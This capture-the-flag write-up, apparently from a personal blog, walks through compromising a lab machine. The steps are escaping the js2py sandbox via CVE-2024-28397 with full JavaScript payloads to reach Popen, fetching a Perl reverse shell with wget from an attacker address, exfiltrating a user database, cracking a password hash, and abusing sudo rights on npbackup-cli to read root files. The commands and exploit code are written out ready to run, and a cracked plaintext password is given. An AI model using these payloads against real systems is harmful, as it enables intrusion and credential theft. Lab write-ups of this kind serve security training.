PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.13
8000/tcp open http syn-ack ttl 63 Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On the lading of the web server, we se a download button. The website serves a simple Flask application that uses js2py to evaluate user provided JavaScript code and run it.
Since the download button provides us with the code we are doing a white box, looking at the requirements.txt we find that the website is using js2py==0.74.
Looking online we find CVE-2024-28397, there are some pretty good PoCs on this subject:
The first objective is to get access to a Python object, but every idea keeps failing:
Error: Error: your Python function failed! unbound method type.__subclasses__() needs an argument
Object.getOwnPropertyNames({})
// Error: Object of type dict_keys is not JSON serializable
Looking trough the source code we find the culprit:
result = js2py.eval_js(code)
return jsonify({'result': result})
Since it's trying to jsonify the result, a lot of objects will fail to serialize. We could setup a local lab with debug prints, but honestly it's way faster to just try some payloads blindly, we can write any JavaScript code we want anyways so no need to dump large objects like your usual Sandbox escape.
Since our issue is getting confirmation of what we are doing, I found the best solution would be to JSON.Stringify the result, allowing us to get feedback. Now the first objective is finding a function we can exploit to RCE, Popen is a classic, let's loop and look for it:
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
for (let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return i;
}
}
}
let result = findpopen(obj)
JSON.stringify(result);

We find it at index 317. Trying to get an RCE still poses some issues, some characters are breaking the JSON.stringify, instead let's convert the output to hex and stringify that.
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
let Popen = obj.__subclasses__()[317]
let cmd = "whoami"
let result = Popen(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
JSON.stringify(result[0].hex());

6170700a from hex -> app, great, we have RCE!
Let's try to get a revshell. After testing, we see that wget and perl are installed, let's do a Perl revshell then revshells.com
We setup a local http server and serve the payload, then download it via our RCE with wget:
wget http://10.10.14.92/foo.pl -O /tmp/foo.pl
Then stop the HTTP server, start our listener and execute the payload via the RCE:
nc -lvnp 9001
perl /tmp/foo.pl
We get a shell, looking around, we are the app user, I checked a couple of extra things, there's a marco user we don't have permissions for. Let's try to exfiltrate the instance/users.db. The file is not too large and the perl shell is not very convenient we can just exfiltrate it via base64:
wc -c instance/users.db
# 16384 instance/users.db
cat instance/users.db | base64 -w 0
# U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAABgAAAAQAAAAAAAAAAAAAAAIAAAAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAC4/2Q0P+AADDk8ADxwPzw5PAAAAAAAAAA...
Now let's copy that and decode it locally:
cat users.db.b64 | base64 -d -w 0 > users.db
sqlite3 users.db
sqlite> .tables
# code_snippet user
select * from user;
# 1|marco|649c9d65a206a75f5abe509fe128bce5
# 2|app|a97588c0e2fa3a024876339e27aeb42e
We can run the hash trough crackstation.net and we get the password: marco:sweetangelbabylove
Let's try to ssh:
ls
# backups npbackup.conf user.txt
cat user.txt
# <redacted1>
Ok, so I noticed there's a npbackup, we find some traces in the /home/marco directory, there's the CLI tool stored inside the /opt/npbackup-cli directory which we can't access.
I realized that we have elevated permissions on the CLI tool:
sudo -l
# User marco may run the following commands on codeparttwo:
# (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
/usr/local/bin/npbackup-cli --help
# <SNIP>
# optional arguments:
# -c CONFIG_FILE, --config-file CONFIG_FILE
#
# -f, --force Force running a backup regardless of existing backups age
#
# --dump DUMP Dump a specific file to stdout (full path given by
# --ls), use with --dump [file], add --snapshot-id to
# specify a snapshot other than latest
# <SNIP>
The --dump flag seems like the most promissing, let's try to create a backup of /root.
I copied the /home/marco/npbackup.conf file somewhere away from the eyes of everyone, and modified the repos.default.backup_ops.paths to backup /root instead of /home/app/app.
Then I tried to force a backup of my new config:
sudo npbackup-cli -c /tmp/npbackup.conf -f
# 2025-09-05 13:18:09,442 :: INFO :: Running backup of ['/root'] to repo default
# no parent snapshot found, will read all files
#
# Files: 15 new, 0 changed, 0 unmodified
# Dirs: 8 new, 0 changed, 0 unmodified
# Added to the repository: 190.612 KiB (39.883 KiB stored)
#
# processed 15 files, 197.660 KiB in 0:00
# snapshot fc1b7b19 saved
Great and we get the snapshot ID, let's request the /root/root.txt file from that snapshot:
sudo npbackup-cli -c /tmp/vmware-0001/.vmware.conf --dump /root/root.txt --snapshot-id fc1b7b19
# <redacted2>
And we the root flag.
2025 © Philippe Cheype
Base theme by Digital Garden